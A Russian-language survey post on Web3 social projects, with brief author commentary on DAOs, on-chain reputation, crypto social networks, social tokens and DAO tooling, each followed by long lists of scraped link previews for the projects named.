![subsocial.network](/proxy.php?image=https%3A%2F%2Fcdn.prod.website- files.com%2F626fee97e03eed4b123c6e3e%2F629727eb7e742e2f245b6c4a_favicon.png&hash=534c0a84de0f8bb186d20dbbdf919050&return_error=1) subsocial.network

primitives.xyz

primitives

create, share, collect

primitives.xyz primitives.xyz

https://www.farcaster.xyz (скорее не соц граф, но экосистемный)

Home | KNN3 Network

www.knn3.xyz www.knn3.xyz

ULAS

Web site created using create-react-app

ulas.network ulas.network

https://www.deso.org (это соц блокчейн, но тоже следим)

Под ДАО принято понимать децентрализованную автономную организацию, однако на момент написания статьи крипто организации не являются ни децентрализованными ни автономными.
Пока правильней было бы назвать их просто коммьюнити.
Тем не менее по западному твиттер вижу, что люди активно объединяются по различным признакам, начиная совместными инвестициями и заканчивая социальными целями.
Деятельность "ДАО" красиво освещается и создаётся полноценный бренд, который притягивает последователей.
Вокруг ДАО создаются продукты, членство в ДАО приобретает репутационное значение.
Западные инфлюенсеры указывают в профилях ДАО, в которых они состоят.
ДАО появляются также вокруг уже существующих крипто проектов.
Хорошим примером дао/бренда/секты для меня является NounsDAO
Список популярных ДАО можно найти ТУТ

Эта категория фиксирует вклад в развитие проектов, помощь коммьюнити, другие активности.
Похоже на построение системы социального рейтинга.
Важная часть, может иметь применение во многих сферах, начиная децентрализованными финансами и заканчивая распределением airdrops. Повысит доверие между участниками, сделает сотрудничество более эффективным.
Пока неясно какую форму примет идентити, это может быть анализ социальной активности и социальных связей в том же ленс протоколе, анализ финансовой активности в дефи протоколах, анализ участия в голосованиях.

Spoiler: Список идентити проектов

https://poap.delivery

galaxy.eco

Galxe - Onboarding the World to Web3

Galxe is a decentralized super app and web3âs largest on-chain distribution platform.

galaxy.eco galaxy.eco

![rabbithole.gg](/proxy.php?image=https%3A%2F%2Frh-frontend-gateway- bzs41geq4-rabbithole.vercel.app%2Fog- image.png&hash=28585d49d91b7851f34bfbb6009aab4f&return_error=1)

RabbitHole

Earn tokens by doing on-chain quests in the best crypto apps

rabbithole.gg rabbithole.gg

noox.world

Noox.world 👑 | Proof of achievements for your Web3 life

Noox is a place where you can mint Web3 achievement as soulbound NFTs like “badges”. Owning these badges will unlock new opportunities in the Web3-verse.

noox.world noox.world

beta.dequest.io

DeQuest

Monetize your gaming experience, learn about web3 games and build your reputation.

beta.dequest.io beta.dequest.io

Disco (now privado.id)

Privado ID and Disco.xyz Announce Merger to Launch Unified Identity Across Blockchains and Legacy Systems

![www.disco.xyz](/proxy.php?image=https%3A%2F%2Fcdn.prod.website- files.com%2F62570f1bda35da4913f71ba7%2F65d61ad96f11a1824e3a2a7d_discoball_bw%25202.png&hash=aef6d6b08204df9e990fa423c967db95&return_error=1) www.disco.xyz

![mintkudos.xyz](/proxy.php?image=https%3A%2F%2Fimages.mintkudos.xyz%2Ffrontend%2Fbranding%2Fwebsite- preview.png&hash=d6ab18827ab93f732ee1db4e8efd344c&return_error=1)

[ 🎉 Mint Kudos - Community contributions as soulbound tokens

](https://mintkudos.xyz)

Kudos are a way to turn individual and team off-chain contributions into on- chain, peer-verified, soulbound tokens with a celebratory twist! 😉

mintkudos.xyz mintkudos.xyz

DappBack

Get rewards while being online

dappback.com dappback.com

![floats.city](/proxy.php?image=https%3A%2F%2Ffloats.city%2Ffloat- logo.png&hash=33cc8431c49a22bb9c98a5c596bb26a2&return_error=1)

FLOAT

A proof of attendance platform on the Flow blockchain.

![floats.city](/proxy.php?image=https%3A%2F%2Ffloats.city%2Ffloat- logo.svg&hash=696fb119d90a179dae7cfc52defdf710&return_error=1) floats.city

![www.gitpoap.io](/proxy.php?image=https%3A%2F%2Fgitpoap.io%2Fog- image-512x512.png&hash=f60624e38c5f98662cc5c1abf70321ee&return_error=1)

Home | GitPOAP

GitPOAP is a decentralized reputation platform that represents off-chain accomplishments and contributions on chain as POAPs.

www.gitpoap.io www.gitpoap.io

www.lvlprotocol.xyz

lvl protocol

lvl is a crypto resume: Level is an on-chain reputation and skills web3 resume that highlights all of your contributions across communities, DAOs, and metaverses

www.lvlprotocol.xyz www.lvlprotocol.xyz

Ever

ever.xyz ever.xyz

www.proofofhumanity.id

Proof Of Humanity

A system combining social verification with video submission to create a Sybil-proof list of humans.

www.proofofhumanity.id www.proofofhumanity.id

www.orangeprotocol.io

Orange Protocol

Trustless Reputation Wherever You Need It

www.orangeprotocol.io www.orangeprotocol.io

lifeform.cc

lifeform.cc

Embarking on the virtual creation of all things!

lifeform.cc lifeform.cc

Quadrata

A unique portable digital passport that protects your privacy

quadrata.com quadrata.com

[ UniPass - Comprehensive stablecoin payment solution

](https://www.unipass.id)

UniPass offers a comprehensive stablecoin payment solution. Enjoy gas-free payments, and the ability to process batch transactions. Confidently manage, transfer, purchase, and store stablecoins.

www.unipass.id www.unipass.id

![qui.xyz](/proxy.php?image=https%3A%2F%2Fcdn.prod.website- files.com%2F66edcb6353a2b4c2783a8f11%2F6717eb651532409d89c46685_OpenGraph%2520-%2520goConfirm.png&hash=7f9a11c080ce300847e95826d7c72796&return_error=1)

[ goConfirm: Your Portable Digital Identity To Build Trust Online

](https://qui.xyz)

goConfirm uses cutting-edge verification to deter scammers so you can feel confident when transacting online.

![qui.xyz](/proxy.php?image=https%3A%2F%2Fcdn.prod.website- files.com%2F66edcb6353a2b4c2783a8f11%2F66edcc66887dfe49c6bb0d93_32.png&hash=7e1c306c98e99197a2e912479dce570a&return_error=1) qui.xyz

www.sismo.io

Sismo - Own your identities

Bridging the gap between personal data and apps with Sismo Connect

www.sismo.io

![beta.layer3.xyz](/proxy.php?image=https%3A%2F%2Flayer3.xyz%2Fimages%2Fog- blocky.jpg&hash=cac3d32dd613a26e64a9fd0b9d9b4d89&return_error=1)

Layer3

The best way to learn, explore, and succeed in web3. Get started with Quests on Layer3 ⚡

beta.layer3.xyz beta.layer3.xyz

![alpha.etherscore.network](/proxy.php?image=https%3A%2F%2Falpha.etherscore.network%2Fetherscore- profile.jpeg&hash=b0857c58e4e74cd9b7b277aefdba8bb1&return_error=1)

Etherscore

Soulbound tokens awarded based on your on-chain achievements.

alpha.etherscore.network alpha.etherscore.network

![www.spectral.finance](/proxy.php?image=https%3A%2F%2Fcdn.prod.website- files.com%2F66e84fd75dadefe253758a2d%2F6744f57ab19684e79532f81c_agent- metadata.png&hash=a52c8252e04610c927f9cbc4066f1bde&return_error=1)

Spectral SYNTAX App | Build your own Sentient Memes

Login with your wallet to create and govern Sentient Memes that think, trade, and evolve autonomously onchain. Bring your memes to life and shape the onchain movement!

![www.spectral.finance](/proxy.php?image=https%3A%2F%2Fcdn.prod.website- files.com%2F66e84fd75dadefe253758a2d%2F66e9e9419277da20d6391961_SpectralLogo- WhiteBG.png&hash=b3a7351469a36f7fcd41a69402811c41&return_error=1) www.spectral.finance

worldcoin.org

World - The real human network.

Identity, finance and community for every human.

worldcoin.org worldcoin.org

www.idena.io

IDENA: Proof-of-Person blockchain

Join the mining of the first human-centric cryptocurrency

www.idena.io www.idena.io

![www.brightid.org](/proxy.php?image=https%3A%2F%2Fcdn.prod.website- files.com%2F5e54622b3f6e65be8baf0653%2F6056ae0e61cc33653d91f34b_Link%2520Preview%2520Cover.png&hash=c7ec72584d8dbf09a35e6b9aeb3d693f&return_error=1)

BrightID

BrightID is a privacy-first social identity network that allows you to prove to applications that you are accessing them fairly with only one account.

![www.brightid.org](/proxy.php?image=https%3A%2F%2Fcdn.prod.website- files.com%2F5e54622b3f6e65be8baf0653%2F64a80d748f0748d8f03e2ac0_brightid- transparent-32x32.png&hash=54141a1231014cc0b95e04249722fda8&return_error=1) www.brightid.org

![www.civic.com](/proxy.php?image=https%3A%2F%2Fcdn.prod.website- files.com%2F6721152f5cf7d1402980ed13%2F6750f6d21f401f5c5386359c_homepage%2520OG.jpg&hash=0213db10faa176331794cddbb5cb8aad&return_error=1)

Civic | Seamless user management

Connect with your users on their terms. Verify on your terms and prove it's them every time. Your new favorite onboarding experience deploys with just a few lines of code.

![www.civic.com](/proxy.php?image=https%3A%2F%2Fcdn.prod.website- files.com%2F6721152f5cf7d1402980ed13%2F672504c1535365ebb956eeda_Favicon.png&hash=08459d9771f933cb4d7d10dcc1db9005&return_error=1) www.civic.com

ont.io

Ontology

Bringing trust, privacy, and security to Web3 through decentralized identity and data solutions.

ont.io ont.io

![www.did.id](/proxy.php?image=https%3A%2F%2Fcdn.prod.website- files.com%2F6642eeaa8feda77bb4ad170a%2F665e8c16c7c60c0d09de97ce_og.webp&hash=14cfcee0eee5f2b4831d6388d0977095&return_error=1)

d.id - Building protocols for all human.

Collaborating with community to deliver protocols that have network effects.

![www.did.id](/proxy.php?image=https%3A%2F%2Fcdn.prod.website- files.com%2F6642eeaa8feda77bb4ad170a%2F6642f0fa877f843ed8b07459_d.id%2520logo- icon-alpha.png&hash=812d1014f627e401392f220d36a119dd&return_error=1) www.did.id

![crew3.xyz](/proxy.php?image=https%3A%2F%2Fzealy.io%2Fnstatic%2Fog- image.png&hash=0b954a3491ad77d86183912ba6210f56&return_error=1)

Zealy - Join the next big thing

A simple, fun & creative way to join trendy communities, make an impact and earn rewards.

crew3.xyz crew3.xyz

www.daylight.xyz

Daylight - Onchain for You

Discover new relevant things to do in crypto: mints, claims, votes, and more.

www.daylight.xyz www.daylight.xyz

Charisma

Wallet Personality Analysis

charismasocial.xyz charismasocial.xyz

Idential | Search engine for developer on-chain credentials

www.idential.xyz www.idential.xyz

Port3 - Decentralized AI Data Network

Port3 Network is a leading decentralized AI data network built for Web3. Building DeCalc, BQL, SoPad and SoQuest.

port3.io port3.io

Есть теории, согласно которым, создавая организацию, мы словно создаём отдельный организм, который преследует личный интерес и пытается выжить.
Именно в этом я вижу основную проблему существующих соц сетей, которые не хотят делиться властью.
Кажется, что децентрализация сгладит этот момент, отдав нам управление, контроль над личными данными, профилями, подписчиками, что позитивно скажется на творчестве, монетизации и привлечет новых пользователей.
Сейчас появляется много крипто соц сетей, некоторые предлагают токены за выкладывание постов, т.н. Share to earn (ответвление общего тренда монетизации любой деятельности).
Пока сложно распознать победителя, думаю, что кандидатов стоит искать в экосистемах.
Создание и управление коммьюнити

Spoiler: Список социальных сетей

Welcome to Revel

www.revel.xyz www.revel.xyz

mirror.xyz

Mirror

Built on web3 for web3, Mirror’s robust publishing platform pushes the boundaries of writing online—whether it’s the next big white paper or a weekly community update.

mirror.xyz mirror.xyz

Solcial

Solcial is a decentralised social network on the Solana blockchain. Solcial allows anyone to share content in a fully permissionless way, avoiding censorship, and rewarding users and content creators in a fair manner.

solcial.io solcial.io

![phaver.com](/proxy.php?image=https%3A%2F%2Fhomepage-ns3mws2bx- phaver.vercel.app%2Fog%2Ffacebook.png&hash=858784998af9909ad1e26deb6550444d&return_error=1)

Phaver | The Gateway to Web3 Social

Welcome to the biggest mobile app on Lens Protocol. Access all that Web3 Social has to offer through one easy-to-use app. Engage with your favourite creators, connect your NFT's, earn rewards and more

phaver.com phaver.com

https://yuser.co

www.atem.io

Atem | Atem Network

Atem Network is a decentralized content creation protocol, we aim at helping creators tokenize their content and build web3 native communities.

www.atem.io www.atem.io

nftychat.xyz

[ nftychat – The best way to connect with your web3 frens

](https://nftychat.xyz)

A better way to chat with your web3 frens. No username or password required. Just connect your wallet and start chatting. It's free.

nftychat.xyz nftychat.xyz

![gm.xyz](/proxy.php?image=https%3A%2F%2Fgm-labs-prod.s3.amazonaws.com%2Fog- images%2Fdefault.png&hash=24f6bdc46fb354d09838f3b1ca4931cb&return_error=1)

Where web3 communities gather | gm.xyz

gm.xyz is the easiest place to launch and grow a web3 community. Create a community with chat, forums, and token-gated roles out of the box.

gm.xyz gm.xyz

![youminter.com](/proxy.php?image=https%3A%2F%2Fyouminter.com%2Fimages%2Fog- image.jpg&hash=ed149c90bb4111e6ce6218181026adbc&return_error=1)

YouMinter - Web 3.0 social network

YouMinter is a social network and easy-to-use iOS and Android app that opens up the world of NFT to everyone and which is owned by its users.

youminter.com youminter.com

taki.app

Taki

![taki.app](/proxy.php?image=https%3A%2F%2Fimg1.wsimg.com%2Fisteam%2Fip%2Fstatic%2Fpwa- app%2Flogo- default.png%2F%3A%2Frs%3Dw%3A57%2Ch%3A57%2Cm&hash=c480bd56d541b7a24dfbe596af6a1a29&return_error=1) taki.app

www.huddln.io

Rewarding Support | XP Protocol

Encourage and incentivize active community engagement, both on-chain and off- chain, through effective tracking and rewards!

www.huddln.io www.huddln.io

https://www.rug.fm

![orbis.club](/proxy.php?image=https%3A%2F%2Forbisdb-next.vercel.app%2Fog- image.png&hash=da08b90eafe2b72e3965f77080592655&return_error=1)

OrbisDB | The best database for blockchain applications

OrbisDB is an advanced decentralized database built on the Ceramic Data Network. It comes with a set of plugins allowing unlimited customization options.

orbis.club orbis.club

![www.darkblock.io](/proxy.php?image=https%3A%2F%2Fwww.darkblock.io%2Fwp- content%2Fuploads%2F2022%2F05%2FWhite.png&hash=1a5133da22852b7430fb577fd9f3cdd7&return_error=1)

Home

Unlock the Power of

![www.darkblock.io](/proxy.php?image=https%3A%2F%2Fwww.darkblock.io%2Fwp- content%2Fuploads%2F2022%2F05%2Ficon-66x66.png&hash=574885986c2476cefe29e9381fe49f46&return_error=1) www.darkblock.io

Hashchat

www.hashchat.xyz www.hashchat.xyz

yup.io

Yup • Decentralized Social All-In-One.

yup.io yup.io

Welcome to Seam

Create and discover miniapps on Seam

www.seam.so www.seam.so

www.reveal.so

Reveal - Connecting Web3 humans

A feed of wallets' on chain-activity

www.reveal.so www.reveal.so

tabula.gg

Tabula

Instant web3 publications for writers, DAOs, and any Ethereum-based account.

tabula.gg tabula.gg

![www.dialect.to](/proxy.php?image=https%3A%2F%2Fdevelopers-landing-website- nju9ekp4o-dialect.vercel.app%2Fopengraph- image.png%3F3ac99442ff98a907&hash=6d040df09d43d4157dba9ac30be45156&return_error=1)

Introducing Actions & Blinks

A protocol & developer stack for delivering your product experiences. Everywhere.

www.dialect.to www.dialect.to

[ Blockscan Chat - Wallet to Wallet Messaging for Web3

](https://chat.blockscan.com)

chat.blockscan.com chat.blockscan.com

![mailchain.com](/proxy.php?image=https%3A%2F%2Fcdn.prod.website- files.com%2F6193af32c4bb83588771612b%2F64c90283631b69ee4b057e23_Your%2520Inbox%25202.0.png&hash=afe0a2217abfc55b337dc97638e0005d&return_error=1)

Mailchain | Add web3 email to your project

Get your own web3 email inbox connected to your wallet. Also with our SDK, developers can easily add web3 email to their own projects and applications, allowing them to engage with their users in a truly web3 way.

![mailchain.com](/proxy.php?image=https%3A%2F%2Fcdn.prod.website- files.com%2F6193af32c4bb83588771612b%2F64ac9a6e88bf09be8892e1e4_ico- mailchain.png&hash=8dace018ab07b6f493bb28cf27648aeb&return_error=1) mailchain.com

![metalink.com](/proxy.php?image=https%3A%2F%2Fbitcloutstorage.blob.core.windows.net%2Fassets%2Fmeta- mouth.png&hash=0b4882c72445883409a97ebabca8190e&return_error=1)

Metalink

The Future of Social Crypto

metalink.com metalink.com

![connect.nansen.ai](/proxy.php?image=https%3A%2F%2Fconnect.nansen.ai%2Fassets%2Fog%2Fog- image.png&hash=37d2d915086579fa1235fddce8900ae7&return_error=1)

Welcome | Nansen Connect

A secure Web3 powered messaging tool

connect.nansen.ai connect.nansen.ai

Wield L2 is the First and Largest Farcaster L2!

Join our 100,000+ .cast handles to start using far.quest today!

beb.xyz

Satellite

P2P Chat, Voice & Video Open-source, which uses technologies like IPFS/libp2p. End to end encryption... trackers not included.

satellite.im satellite.im

https://decode.chat

https://comm.app

DSCVR - Start or join a community today

Community-first hangout for news, hobbies & discussions. We let creators create & grow audiences. Innovating new ways for you to kill time and procrastinate.

![dscvr.one](/proxy.php?image=https%3A%2F%2Fdscvr.one%2Fpwa- icons%2Ffavicon.ico&hash=0967305895eecb0a8ad3b126ffb30799&return_error=1) dscvr.one

https://comm.app

interface.social

Interface

Mobile companion for your Ethereum journey.

![interface.social](/proxy.php?image=https%3A%2F%2Fcdn.prod.website- files.com%2F62e931c01868f42946f92f26%2F669fcceaccb13a1624acabc6_icon.png&hash=f5c09978c50074d97a940d95798d57ea&return_error=1) interface.social

bress.xyz

Home | Recaster

Recaster - a poweful farcaster client, you can control your own social experience.

bress.xyz

Paragraph

Welcome to Paragraph

paragraph.xyz

![www.superlocal.com](/proxy.php?image=https%3A%2F%2Fsuperlocal.com%2Fimages%2Fog- image.png&hash=cedaf853888bbbb5d863440c5cca370e&return_error=1)

Superlocal | Remarkably Personalized AI Map

Superlocal is the AI-powered answer engine offering precise, personalized answers to any questions about places. Discover top-rated spots, hidden gems, and local favorites anywhere in the world.

www.superlocal.com

Keybase

Keybase is for keeping everyone's chats and files safe, from families to communities to companies. MacOS, Windows, Linux, iPhone, and Android.

keybase.io

near.social

Near Social

Decentralized Customizable Social Network on NEAR Protocol

near.social near.social

Дискуссия про частные деньги ведётся давно. Государства держались за свою монополию, однако блокчейн, создающий открытую систему, ставит их власть под угрозу.
Скорей всего и государственные и частные деньги будут сосуществовать, выиграют те, что окажутся наиболее эффективными.
В социальных деньгах вижу большой потенциал.
Задумайтесь, что такое доллар? Это пирамида.
Его ценность базируется на трёх вещах - доверие, покупка нефти за доллары и выдача кредитов в долларах.
Мы свободны организовать собственное коммьюнити, придумать миссию, красиво всё оформить, сделать мировым брендом, заключить партнерства о принятии нашего токена разными агентами, заслужить репутацию и доверие - поздравляю, личный доллар создан.
Думаю, что в ближайшем будущем увидим бум таких историй.

Spoiler: Социальные токены

www.tryroll.com

[ Roll - The Future of Social Tokens Belongs to You

](https://www.tryroll.com)

Roll builds social token infrastrature for creators. Join 450+ creators and mint a social token with Roll. The future of social tokens belongs to you. Earn, redeem, send and trade social tokens across the internet with Roll. Web 2.0 or Web 3.0.

www.tryroll.com www.tryroll.com

https://rally.io

forefront.market

Home | Forefront

Forefront is the leading content and insights aggregator on social tokens, tokenized communities and Web3 Social.

forefront.market forefront.market

www.calaxy.com

Calaxy - Own Your World

Build your World. Own your World. Weâre on a mission to help free the internet, one World at a time. âWorldsâ are mini social apps built and owned by their Creators.

www.calaxy.com www.calaxy.com

meTokens | Discover your true value

Create your own personal token on the Ethereum blockchain. Monetize your time, attention, and labor. Invest in the success of others. meTokens is open source.

metokens.com metokens.com

strataprotocol.com

Strata Protocol

Strata Protocol enables anyone to launch tokens on Solana around a person, project, idea, or collective in minutes.

strataprotocol.com

![www.talentprotocol.com](/proxy.php?image=https%3A%2F%2Fcdn.prod.website- files.com%2F66d9c51df2bbaa67cacf2e42%2F6749a94e12a57a1218d90b67_thumbnail.jpg&hash=92ea105d124b43d90abe2d008fb421d4&return_error=1)

[ Talent Protocol - What's your Builder Score?

](https://www.talentprotocol.com)

Talent Protocol brings professional reputation onchain to make great builders stand out.

![www.talentprotocol.com](/proxy.php?image=https%3A%2F%2Fcdn.prod.website- files.com%2F66d9c51df2bbaa67cacf2e42%2F66e737517cfb2ef43af984ac_Favicon.jpg&hash=20d5f5af715d2b5ecf382eb3ea72b25b&return_error=1) www.talentprotocol.com

Solcial

Solcial is a decentralised social network on the Solana blockchain. Solcial allows anyone to share content in a fully permissionless way, avoiding censorship, and rewarding users and content creators in a fair manner.

solcial.io solcial.io

daodao.io

Fund your next big idea (Powered by DeSo Blockchain) | Openfund

Openfund enables anyone in the world to fund their idea, using any fiat or cryptocurrency.

daodao.io daodao.io

https://www.trybonfire.xyz

www.crowdpad.io

Hold on.

3 days to go.

www.crowdpad.io www.crowdpad.io

В большей степени это относится к категории "инфраструктура", однако я указала тут для удобства.
Сложно сказать будет ли победитель в этой категории и кто.
На мой взгляд, данные функции удобно встроить в те же крипто соц сети, где как раз будут обитать коммьюнити.
Также логично увидеть эти инструменты как проекты на социальных графах, например, на ленс протоколе.

Spoiler: Список инструментов для создания/управления ДАО

backdrop.so

Backdrop Labs

Backdrop is powering builder energy

backdrop.so backdrop.so

![highlight.xyz](/proxy.php?image=https%3A%2F%2Fhighlight.xyz%2Fstatic%2Fimages%2Fshare- cards%2FhomePage.png&hash=95480843ebfaaff19bb4e1e602029d45&return_error=1)

Highlight

Highlight is a platform for creating and collecting digital art and culture.

highlight.xyz highlight.xyz

Common

commonwealth.im commonwealth.im

www.utopialabs.com

Utopia Labs

Experience the next generation of crypto: stable, safe, and useful. Convert USD from your bank account to cryptoâand vice versaâinstantly and for free. Pay your friends and family, even if they don't use crypto.

www.utopialabs.com www.utopialabs.com

![dework.xyz](/proxy.php?image=https%3A%2F%2Fdework-og-image- fant.vercel.app%2FDework.png%3FfontSize%3D100px%26heights%3D300%26images%3Dhttps%253A%252F%252Fapp.dework.xyz%252Flogo.png%26md%3D1%26subtitle%3DThe%2520task%2520manager%2520for%2520DAOs%2520and%2520decentralized%2520work%26widths%3D300&hash=d137f3bb8e5e0aa4e927dfb20479bc6c&return_error=1)

Dework

The task manager for DAOs and decentralized work

dework.xyz dework.xyz

![www.usecocreate.io](/proxy.php?image=https%3A%2F%2Fcdn.prod.website- files.com%2F650b56d5825611c8c6d7a9fe%2F67310d26afa52dbb92c07163_Group%25202%2520%286%29.png&hash=381fa7eba7837c78ccb999bddfbfb424&return_error=1)

Co:Create | Explore and Book with World-Class Tattoo Artists.

Explore a curated list of world-class tattoo artists with CoCreate. Easily book and manage your tattoo journey from start to finish, all in one place.

![www.usecocreate.io](/proxy.php?image=https%3A%2F%2Fcdn.prod.website- files.com%2F650b56d5825611c8c6d7a9fe%2F67448a791d61a90d4e2f9d2a_Favicon-32.png&hash=73a29610540371c526f17be431190b2e&return_error=1) www.usecocreate.io

samudai.xyz

Samudai | Scalable Infrastructure for Growth-Focused Communities

Samudai brings project management, collaboration & payments management all under one roof. Integrating important tools enabling teams to create impact seamlessly.

samudai.xyz samudai.xyz

![crew3.xyz](/proxy.php?image=https%3A%2F%2Fzealy.io%2Fnstatic%2Fog- image.png&hash=0b954a3491ad77d86183912ba6210f56&return_error=1)

Zealy - Join the next big thing

A simple, fun & creative way to join trendy communities, make an impact and earn rewards.

crew3.xyz crew3.xyz

[ DaoLens-Communities work better on DAO Manager

](https://www.daolens.com)

Tasks, Proposals, Bounties, and Payouts in one place

![www.daolens.com](/proxy.php?image=https%3A%2F%2Fuploads- ssl.webflow.com%2F63f9c78c8bac0a0db743208e%2F63fcbe921a10ce7a48f69c9a_90xH5GQ9_400x400.jpg&hash=ed87c9d012e0cf8857b82894218c1eb6&return_error=1) www.daolens.com

www.coinvise.co

Coinvise

Create and collect rewards for onchain contributions

www.coinvise.co www.coinvise.co

![nouns.build](/proxy.php?image=https%3A%2F%2Fnouns.build%2Fsocial- preview.jpg&hash=aaa984d1d82c076daa6fd4e1e6227459&return_error=1)

Nouns your ideas

Unlock the possibilities of collective creation. Start with a vision. Start a DAO. All onchain.

nouns.build

SourceCred | SourceCred

A tool for communities to measure and reward value creation.

sourcecred.io sourcecred.io

Home

Intros AI boosts community engagement by automating interactions across major platforms. It offers customizable algorithms and analytics for any size community to deepen engagement and relationships.

![intros.ai](/proxy.php?image=https%3A%2F%2Fcdn.prod.website- files.com%2F6239a4f4b2dd81b0e0a44131%2F62877eaa7182731300f8cfbd_Fav%2520Icon%25201.png&hash=30b5ea8a15ad3eb32e1ec276e68d8dd2&return_error=1) intros.ai

www.kali.gg

KALI

Kali is a no-code platform for creating on-chain organizations that interface with real world. Launch internet-native structures now.

www.kali.gg www.kali.gg

![llama.xyz](/proxy.php?image=https%3A%2F%2Fllama.xyz%2Fllama- card.png&hash=9007b63c600bd731fb843f55c1d2d94c&return_error=1)

Llama | The Fullstack Governance Platform

Llama is a fullstack platform for onchain access control and governance. Llama enables protocols to securely take action using onchain policies and custom execution strategies.

llama.xyz llama.xyz

We are Catapult Labs

Backed by Blockchain Capital, Eden Block, Reverie, Orange DAO, as well as the founders of AAVE, Biconomy, Voltz, Gensyn, Llama, Layer3, Tally and more.

![www.catapultlabs.xyz](/proxy.php?image=https%3A%2F%2Fassets-global.website- files.com%2F634842a0f5b9a9cf315d6ef2%2F63510a7a38c7c95cbd2045df_32-catapult- favicon.png&hash=36d127e08ef8488cf30d1348e223a749&return_error=1) www.catapultlabs.xyz

adimverse.com

Adim. Better together.

Collaborate with friends and industry insiders to tell the next great story.

adimverse.com adimverse.com

https://www.orcaprotocol.org

wonderverse.xyz

Wonderverse | Premium Discord Bot

The #1 Discord bot for premium communities. Onboard, engage, and monetize your community with our end-to-end community engagement bot.

wonderverse.xyz wonderverse.xyz

Snapshot

snapshot.org snapshot.org

Guildhall

Automated membership management for the platforms your community already uses.

guild.xyz

Wield L2 is the First and Largest Farcaster L2!

Join our 100,000+ .cast handles to start using far.quest today!

beb.xyz

https://twitter.com/joincirclexyz

Gnosis Guild

Society for interdependent software & keeper of the Zodiac open standard ✫・*。.

www.gnosisguild.org www.gnosisguild.org

![tributelabs.xyz](/proxy.php?image=https%3A%2F%2Ftributelabs.xyz%2Fandroid- chrome-192x192.png&hash=f7b2d28db085147a6928b1f016adb0e6&return_error=1)

Tribute Labs

Supporting and creating DAO communities through open-source frameworks built on Ethereum.

tributelabs.xyz

Sobol - Your DAO Operations Hub

New paradigms of work require new ways to visualize and run organizations.

![sobol.io](/proxy.php?image=https%3A%2F%2Fassets.website- files.com%2F62584a137a1a30426639be75%2F62912275694a317d020a7e23_favicon.png&hash=bfb16479bc94eac5c0550323afa1d692&return_error=1) sobol.io

[ Reputation based products for onchain users.

](https://www.showkarma.xyz)

Karma offers tools for crypto users to showcase their work onchain and unlock economic opportunities. Learn more about our products Karma GAP and Karma Delegates.

www.showkarma.xyz www.showkarma.xyz

Outcome

![www.outcome.finance](/proxy.php?image=https%3A%2F%2Fcdn.prod.website- files.com%2F626bd1a81e83352396a0420a%2F627e191134d43d2df83cdc95_favicon- outcome.png&hash=ec4eb49b97b5d6b58570106fbe48a85f&return_error=1) www.outcome.finance

![www.tally.xyz](/proxy.php?image=https%3A%2F%2Fcdn.prod.website- files.com%2F66c327da88de4858906c230f%2F66c34097da44f77c29791064_og_homepage.jpg&hash=14a302a069592669f57d077a5c083430&return_error=1)

Tally | Start, join, and grow DAOs

Tally is a DAO operations platform. DAOs use Tally to create and pass proposals, enable delegation, and power voting.

![www.tally.xyz](/proxy.php?image=https%3A%2F%2Fcdn.prod.website- files.com%2F67055518dd93425780c244bf%2F672bc280e905fb18fa10bd7a_favicon.png&hash=3ec1f3fdacf7c316a4add9c634c81435&return_error=1) www.tally.xyz

https://metaforo.io

www.iluma.xyz

ILUMA AI | Predictive AI for CEOs & Leaders

ILUMA | Predictive AI for CEOs & Leaders

www.iluma.xyz www.iluma.xyz

![coordinape.com](/proxy.php?image=https%3A%2F%2Fcoordinape.com%2Fimgs%2Flogo%2Fcolinks- favicon.png&hash=b4cba655629278b3663114284d5c4905&return_error=1)

Coordinape | The Home of GIVE

Coordinape provides tools to discover, recognize and collaborate in onchain networks of trust.

coordinape.com coordinape.com

![www.panvala.com](/proxy.php?image=https%3A%2F%2Fuploads- ssl.webflow.com%2F61aea7e06198b36f6f43f16d%2F61b3a90027ed32615c8a4a30_og- image.png&hash=e8fd749cdf2e5a6480cd7d80f2f37ce2&return_error=1)

The End

Panvala powers communities with a share of its community endowment & connections to a vast network of like-minded individuals & projects.

![www.panvala.com](/proxy.php?image=https%3A%2F%2Fuploads- ssl.webflow.com%2F61aea7e06198b36f6f43f16d%2F61cada3a311ff6d2b4a17235_favicon.png&hash=da95ea0090996a3252fffa78dd562490&return_error=1) www.panvala.com

dispatch.xyz

Dispatch

The future of commerce and customer experience - powered by Web3. Explore how Dispatch's distributed commerce technology can increase your sales, improve loyalty, expand your reach, and convert customers with one-click.

dispatch.xyz dispatch.xyz

![matrica.io](/proxy.php?image=https%3A%2F%2Fmatrica.io%2Fmatrica-logo- title.png&hash=5f6f1d1382cdfb23ebd078bcc37eaf5f&return_error=1)

Matrica

our Web3 experience, simplified.

matrica.io

https://www.poko.fund

![site.gmfam.xyz](/proxy.php?image=https%3A%2F%2Fassets-global.website- files.com%2F6550402ea5b7e4cd82c8b9a6%2F65c46793cb9a41d80de74eda_fam_web3.jpg&hash=221ed322529db932d794ec2f66f00fc3&return_error=1)

fam - The #1 tool for Web3 communities

fam. is the all-in-one hub for community engagement and management. Leverage our powerful suite of tools to supercharge your engagement and foster member loyalty within your community.

![site.gmfam.xyz](/proxy.php?image=https%3A%2F%2Fassets-global.website- files.com%2F6550402ea5b7e4cd82c8b9a6%2F6550684bb449be393fe150de_Fam_Webclip.png&hash=78546fd568378149c1d587a6a42fcdac&return_error=1) site.gmfam.xyz

www.dispatch.forum

Dispatch On-Chain Forums

For the first time in blockchain history, communities can launch censorship resistant, on-chain forums, where users can earn tokens, gift NFTs, up-vote ideas, and participate in token-gated conversations.

![www.dispatch.forum](/proxy.php?image=https%3A%2F%2Fuploads- ssl.webflow.com%2F62f88bf90c74fd5aa3ae5765%2F62fe5a43edb4dc23412ee686_dispatch- logo-mark-color-circle-reverse- margin.png&hash=42ed1ba0733d34fd52d24189a23c0010&return_error=1) www.dispatch.forum

![partiful.com](/proxy.php?image=https%3A%2F%2Fcdn.prod.website- files.com%2F656e1f79933f1ed533817d5d%2F65dcd3db1b80ceba14c3034a_a7.png&hash=44f3c4401a8684c862ac396a0d533bf6&return_error=1)

Partiful - Free Online Party Invites

Plan events in seconds, with actually fun event pages. Invite guests on any platform. Easily coordinate via Text Blasts and automatic reminders. Share photos, comments, and more.

![partiful.com](/proxy.php?image=https%3A%2F%2Fcdn.prod.website- files.com%2F656e1f79933f1ed533817d5d%2F6616becf8336bf8f24dbd885_favicon.png&hash=4a04ebc5cdbcec45cf574fbc8be5bd7c&return_error=1) partiful.com

decent.xyz

Decent

Making crypto UX decent.

decent.xyz decent.xyz

Catapult - Unleash human potential with iA

The intelligent assistant empowering you to think and do like never before

